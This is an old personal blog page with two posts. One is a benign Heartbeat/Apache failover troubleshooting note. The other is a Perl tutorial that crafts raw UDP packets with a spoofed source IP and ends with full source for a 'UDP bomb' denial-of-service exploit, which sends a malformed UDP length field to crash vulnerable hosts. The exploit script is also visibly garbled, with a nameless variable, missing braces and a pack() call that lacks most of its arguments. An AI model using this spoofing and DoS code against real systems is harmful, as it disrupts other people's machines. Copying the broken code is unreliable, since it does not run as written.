Saturday, August 29, 2009

High Availability Cluster using Heartbeat

Recently the problem I was facing while using the heartbeat 2.1.4 package was that my slave wasnt taking over, after the fail over condition. When I saw the logs I saw that there were messages related to failure in starting the apache:

ResourceManager[1769]: 2009/08/27_06:57:37 info: Running /etc/ha.d/resource.d/apache start
apache[2212]: 2009/08/27_06:57:38 INFO: httpd2: Could not reliably determine the server's fully qualified domain name, using for ServerName
apache[2212]: 2009/08/27_06:57:38 INFO: apache not running
apache[2212]: 2009/08/27_06:57:38 INFO: waiting for apache /etc/apache2/httpd.conf to come up
apache[2212]: 2009/08/27_06:57:39 ERROR: command failed: sh -c wget -O- -q -L --bind-address= http://localhost:80/server-status | tr '\012' ' ' | grep -Ei "[[:space:]]*" >/dev/null
apache[2201]: 2009/08/27_06:57:39 ERROR: Generic error
ResourceManager[1769]: 2009/08/27_06:57:39 ERROR: Return code 1 from /etc/ha.d/resource.d/apache
ResourceManager[1769]: 2009/08/27_06:57:39 CRIT: Giving up resources due to failure of apache
ResourceManager[1769]: 2009/08/27_06:57:39 info: Releasing resource group: node09 IPaddr:: ldirectord apache
ResourceManager[1769]: 2009/08/27_06:57:39 info: Running /etc/ha.d/resource.d/apache stop
apache[2456]: 2009/08/27_06:57:41 INFO: Killing apache PID 2363
apache[2456]: 2009/08/27_06:57:41 INFO: apache stopped.
apache[2445]: 2009/08/27_06:57:41 INFO: Success
ResourceManager[1769]: 2009/08/27_06:57:41 info: Running /etc/ha.d/resource.d/ldirectord stop
ResourceManager[1769]: 2009/08/27_06:57:41 info: Running /etc/ha.d/resource.d/IPaddr stop
IPaddr[2679]: 2009/08/27_06:57:41 INFO: ifconfig eth0:0 down
IPaddr[2662]: 2009/08/27_06:57:41 INFO: Success
heartbeat[1755]: 2009/08/27_06:57:41 info: local HA resource acquisition completed (standby).
heartbeat[1666]: 2009/08/27_06:57:41 info: Standby resource acquisition done [foreign].
heartbeat[1666]: 2009/08/27_06:57:41 info: Initial resource acquisition complete (auto_failback)
heartbeat[1666]: 2009/08/27_06:57:42 info: remote resource transition completed.
hb_standby[2751]: 2009/08/27_06:58:12 Going standby [foreign].
heartbeat[1666]: 2009/08/27_06:58:12 info: node09 wants to go standby [foreign]

After inspecting the apache, everything seemed to fine. Even the ha apache scripts could successfully start/stop the apache except for the unknown wget error:

apache[2212]: 2009/08/27_06:57:39 ERROR: command failed: sh -c wget -O- -q -L --bind-address= http://localhost:80/server-status | tr '\012' ' ' | grep -Ei "[[:space:]]*" >/dev/null

After some initial debugging by setting the debug option "set -x" in apache start script (/etc/ha.d/resource.d/apache), I found the script where the problem was occurring.


It seems that even if the apache starts successfully, the script returns an error code because of the failure in the execution of command. In general, apache doesnt seem to have the server-status facility enabled by default. (and I dont know how and why should I enable it) So for the quick fix its better to comment the erroring command.

##ocf_run sh -c "$WGET $WGETOPTS $STATUSURL | tr '\012' ' ' | grep -Ei \"$TESTREGEX\" >/dev/null"

I still dont understand the reason when ha should give up the network resources just because a service failed to start. It mught be a bug though, I never faced such a problem in former ha versions. In those times the apache scripts used to be very simple.


Saturday, August 15, 2009

Creating a UDP Packet/IP Spoofing through PERL

For the past few days I was trying to create a program which could generate continous UDP traffic for me. And since I am reading about perl these days, I thought why shouldnt I try my luck on perl. And yes, I found it to be very easy and simple to understand plus it was great fun. Well, frankly speaking generating UDP traffic isnt a very big deal. You can google about it and you will find loads of results. But I went one step further, in fact the udp traffic generator didnt solve my problem. I wanted to create a UDP datagram, where I could tweak the UDP header values and change them to what I wanted. Normal socket calls in perl dont allow you to tweak the actual header fields. So I searched on the internet on how I could create a raw packet through perl. I came across two such links which gave me clues, first its a module named Net Packet in perl, which allows you to create packets.

second a perl script created by a guy named 'cleen' which creates RAW TCP/IP packet.

Well, for my this script I mainly followed cleen's tutorial, and I crafted my own UDP packet. The only problem is that I am still learning how to make things happen in perl, and so I try to keep things as simple as I can, which even means no functions or subroutines and minimum use of perl modules like Net Packet. :( So here we go, the steps should be helpful to anyone who wants learn how to create raw udp packets (or even any other, for TCP/IP you can follow the link for cleen's tute), I would explain the basics and the knowledge that you must have.



1. Obviously you need perl installation. :D
2. You must understand the header format for IP and UDP, i.e. the fields in these headers and their length in bits/bytes. I have listed the links at the bottom for reference. Yeah reading them is worth it. :)
3. Knowledge of perl function "pack" and how to send/recieve data using sockets in perl (trivial :))
4. Brief idea of tcpdump or wireshark, this is helpful for debugging, if you mess something in your packet.

The setup consists of two machines:

Machine A: Attack machine. (Linux)
Machine B: Victim machine. (Linux)

I will run my script from machine A, the script will generate and send a UDP packet to machine B. A wireshark or Tcpdump will be running on Machine B, (and on Machine A as well) which will capture the UDP packet. A wireshark/tcpdump on victim machine B will ensure that our UDP packet reached successfully. If your UDP packet isnt formed correctly (bad use of pack function or any missing header field) then machine A will not send it to the victim machine. Thats where the wireshark/tcpdump on Machine A will show you the wrongly made packet. In this way you can ensure from machine A tcpdump, that you constructed the UDP packet correctly. Dont worry too much if you dont understand the above shit, you will learn it in the later part of the tutorial.

Creating the UDP Header
First we create a UDP header. The UDP header and data consists of 5 fields. Source port, Destination port, length of the UDP packet, Checksum and the UDP data that you are going to send. For details of a UDP packet header fields, read some stuff from here:

I havent used the udp checksum part, as I didnt need it for my test. My source port is 33333 and my destination port is 7. You can choose any source port above 1024, and for the destination port, the udp echo service runs on port 7. You can use any other destination port as well. But its necessary to use a port which is running a udp service, like echo or chargen. Because only then the vulnerable linux will process our UDP packet. For this service you may need to enable it manually, as its disabled by default. Just go to the /etc/xinetd.d directory of the victim machine B and look for the file named echo-dgram or echo-udp. Open it and change the line "disable = yes" to "disable = no". The restart the xinetd daemon by the command:

service xinetd stop
service xinetd start

This would enable your echo service on udp port 7. Check it by netstat output:

[root@ip9-12-34-239 xinetd.d]# netstat -an | grep udp
udp 0 0*

The third field is the udp length field. Since our packet contains 4 fields (src port, dest port, length and checksum) that are each 16 bit (2 bytes) wide and a data field that could be anything, the udp length would be minimum 8 bytes and for a data like "TEST" it would be 8 + 4 = 12 bytes. Thats it, our udp packet is ready (oh I mean we have ignored the checksum calculation, and we are making it zero for this test)

$src_port = 33333;
$dest_port = 7;
$len = 12;
$cksum = 0;
$data = "TEST";

Creating the IP Header
The next part is the IP part (IP header). Read about the IP header and its fields and respective field lengths here:

The IP part I have taken from cleen's code. Credits to him as I couldnt find any other tute on creating and formatting (use of pack here) the Ip header. Just understand the importance of each field, there is not much to change here except the checksum part, the ip total length, and the underlying protocol code.The checksum is set to zero. Dont worry about the ip checksum as it would be calculated by the kernel. The IP total length is the length of IP header (which is 20 bytes + the UDP part which is 12 bytes = 32 bytes). The underlying protocol in our case is udp, which has the code of 17. Alternatively you can use the function getprotobyname to generate the protocol code.

my $ip_ver = 4;
my $ip_len = 5;
my $ip_ver_len = $ip_ver . $ip_len;
my $ip_tos = 00;
my ($ip_tot_len) = $udp_len + 20;
my $ = 19245;
my $ip_frag_flag = "010";
my $ip_frag_oset = "0000000000000";
my $ip_fl_fr = $ip_frag_flag . $ip_frag_oset;
my $ip_ttl = 30;
Formatting the packet using pack function
****************************************** *********
Once the header fields are set, we can use pack function to create the packet in binary format. For the details you may need to undertsand the pack function and the order of header field formats as specified in the RFCs. You can see the pack function manual in the links section provided at the bottom. The pack function takes a template as its first argument and the data to be formatted as its next arguments.
The function pack('H2H2nnB16C2na4a4nnnna*', $ip_ver_len,$ip_tos,$ip_tot_len,$ip_frag_id, $ip_fl_fr,$ip_ttl,$udp_proto,$zero_cksum,$src_host, $dst_host,$src_port,$dest_port,$len, $cksum, $data); packs the fields as follows:

H2: A hex string (high nybble first) =>Sets the ip_ver_len (Ip version and Internet header length field)

H2: A hex string (high nybble first) => Sets the ip_tos (Type of service)
n: An unsigned short (16-bit) in "network" (big-endian) order. => ip_frag_id (16 bit fragment ID number)

n: An unsigned short (16-bit) in "network" (big-endian) order. => ip_fl_fr (Fragmentation flags and fragment offset)

B16: A bit string (descending bit order inside each byte).=> ip_ttl (Time to live)

C2: An unsigned char (octet) value. => udp_proto (UDP protocol ID)

n: An unsigned short (16-bit) => zero_cksum (Header checksum, to be calculated by the kernel)

a4: A string with arbitrary binary data, will be null padded. => src_host(Source IP)

a4: => dst_host (Destination IP)

n => src_port (Source port)
n => dest_port (Destination port)
n => len (length of UDP part)
n => cksum (checksum of udp part)
a* => data (UDP DATA)

The pack function returns you a formatted packet which you can send across.
In case you try to modify the pack function template, its possible that the bits are not set as required,
in such case your packet will not be forwarded by Machine A. However you can see the bad packet by running a
tcpdump on Machine A. If you use the template as say:

For eg.
CCnnnCCna4a4a*nnna* (which I tried unsuccessfully)
you will get a packet which upon a tcpdump capture looks like this:
The wireshark could not identify the fields that we set, which itself means the packet wasnot formatted correctly.
Even you can see the IP version number is set as 2, which is not what we set before ($ip_ver = 4). Such bad packets
are never forwarded, and so you will not see them in the tcpdump capture of the victim machine B.
After formatting the packet using the template "H2H2nnB16C2na4a4nnnna*", we see a packet capture as:

Here, the wireshark correctly identifies every field and the packet is captured on the victim machine B as well. Which means that our UDP packet reached its destination. You can also see the echo data that we sent, TEST.

Creating a Simple exploit
Have you heard about the UDP bomb attack? Its a very old attack, and in todays date, kindof ineffective, only some very old Sun systems could be vulnerable to this. But its great for testing the efficiency of security programs say your firewall. Well, this attack sends a malformed UDP packet to the victim machine. And if the victim machine is vulnerable, this could crash the machine, resulting in a Denial of Service attack. You wonder what we change in the UDP packet? Remember the len variable that we used, the len variable carries the length of the UDP part. That is the length of the header fields and the length of the data part. The total length of UDP header part is 8 bytes (4 bytes, 2 each for src and dest port and 8 bytes for checksum and udp length field). A very obvious fact is that even for a blank UDP packet (whose data part is zero) the UDP length would still be 8 bytes. i.e minimum possible udp length could be 8 bytes. But what if we change the udp length to something less than 8? If the victim machine does not verify the length of the UDP length field, it may crash. And this is what happens when you send the invalid udp packet to a vulnerable victim machine. so for creating a udp bomb attack, just make the len part to something less than 8, say 3. Let the total length in the IP field have the correct value, or else there is a chance that your IP header becomes invalid and some forwarding router drops it. Thats it, your test script is ready.


I have two boxes a redhat one and a suse one. I run tcpdump on both the boxes to listen for my packet. Perl does not give you too much information if you packet reached the destination successfully. And also, for a spoofed packet, you will never know because the response aint coming back, the response if any will be sent to the fake ip. There are many reasons because of which your spoofed and malformed packets could be dropped by an intermediary router or a firewall, so you need to test the script effectively by listening at the right points. For e.g. if I try this script on python on Windows, I am never sure of the results. There could be antiviruses interfering with my UDP traffic or windows firewalls, God knows what. That's why we trust in Linux.

So, from my Redhat box I will run my script, and I will send my packet to which happens to be a Suse box. I will use a fake ip It does not matter what is the ip of Redhat box (which infact is but it is on the same subnet for simplicity.  the I have tcpdump running on both ends, listening for specific traffic of UDP. So here is the image screenshot:

1. We run the script on the redhat box.
2. We are listening for UDP traffic on the Suse box - To make sure our packet had a safe journey to the destination
3. We are also listening for the traffic on the redhat box. - To make sure our packet was constructed successfully and reached the network interface.

In the image you can see the results for yourself, the packet can be seen in the output of tcpdump, which means it worked as intended.

Net Packet

A nice C program for learning how to create a raw UDP packet

IP Header

UDP Header

Pack function

Creating a RAW TCP/IP packet

UDP Bomb attack

###########Source for educational purpose############

use Socket;

$src_host = $ARGV[0];
$dst_host = $ARGV[1];
$src_port = 33333;
$dest_port = 7;
$len = 3; 
#$len is the udp packet length in the udp header. Must Not be less than 8, for udp bomb attack make it less than 8 ...say ;)
$cksum = 0;
$data = "TEST";
$udp_len = 12; #8+TEST
$udp_proto = 17; #17 is the code for udp, alternatively, you can getprotobyname.
if(!defined $src_host or !defined $src_port or !defined $dst_host or !defined!dest_port)
 print "##### Script to send a UDP packet, src port is 33333 and Dest port is 7 (echo)."
 print  "To change these, make changes in the script. #####\n";
 print "\nUsage: perl $0 \n";
 print "Eg. perl $0\n";

 print " => Attack Machine\n";
 print " => Victim Machine\n";

#Prepare the udp packet, not required, we arent calculating the checksum ;)
#$udp_packet = pack("nnnna*", $src_port,$dest_port,$len, $cksum, $data);
$zero_cksum = 0; my $dst_host = (gethostbyname($dst_host))[4]; my $src_host = (gethostbyname($src_host))[4];
# Now lets construct the IP packet
my $ip_ver = 4;
my $ip_len = 5; 
my $ip_ver_len = $ip_ver . $ip_len; 
my $ip_tos = 00; 
my ($ip_tot_len) = $udp_len + 20; 
my $ip_frag_id = 19245; 
my $ip_frag_flag = "010"; 
my $ip_frag_oset = "0000000000000"; 
my $ip_fl_fr = $ip_frag_flag . $ip_frag_oset; 
my $ip_ttl = 30;

#H2H2nnB16C2na4a4 for the IP Header part#nnnna* for the UDP Header part.
#To undertsand these, see the manual of pack function and IP and UDP Header formats
#IP checksum ($zero_cksum is calculated by the kernel. Dont worry about it.)

my ($pkt) = pack('H2H2nnB16C2na4a4nnnna*',
$dst_host,$src_port,$dest_port,$len, $cksum, $data);

socket(RAW, AF_INET, SOCK_RAW, 255) || die $!; setsockopt(RAW, 0, 1, 1); 
my ($destination) = pack('Sna4x8', AF_INET, $dest_port, $dst_host); 

###########Ends here#####################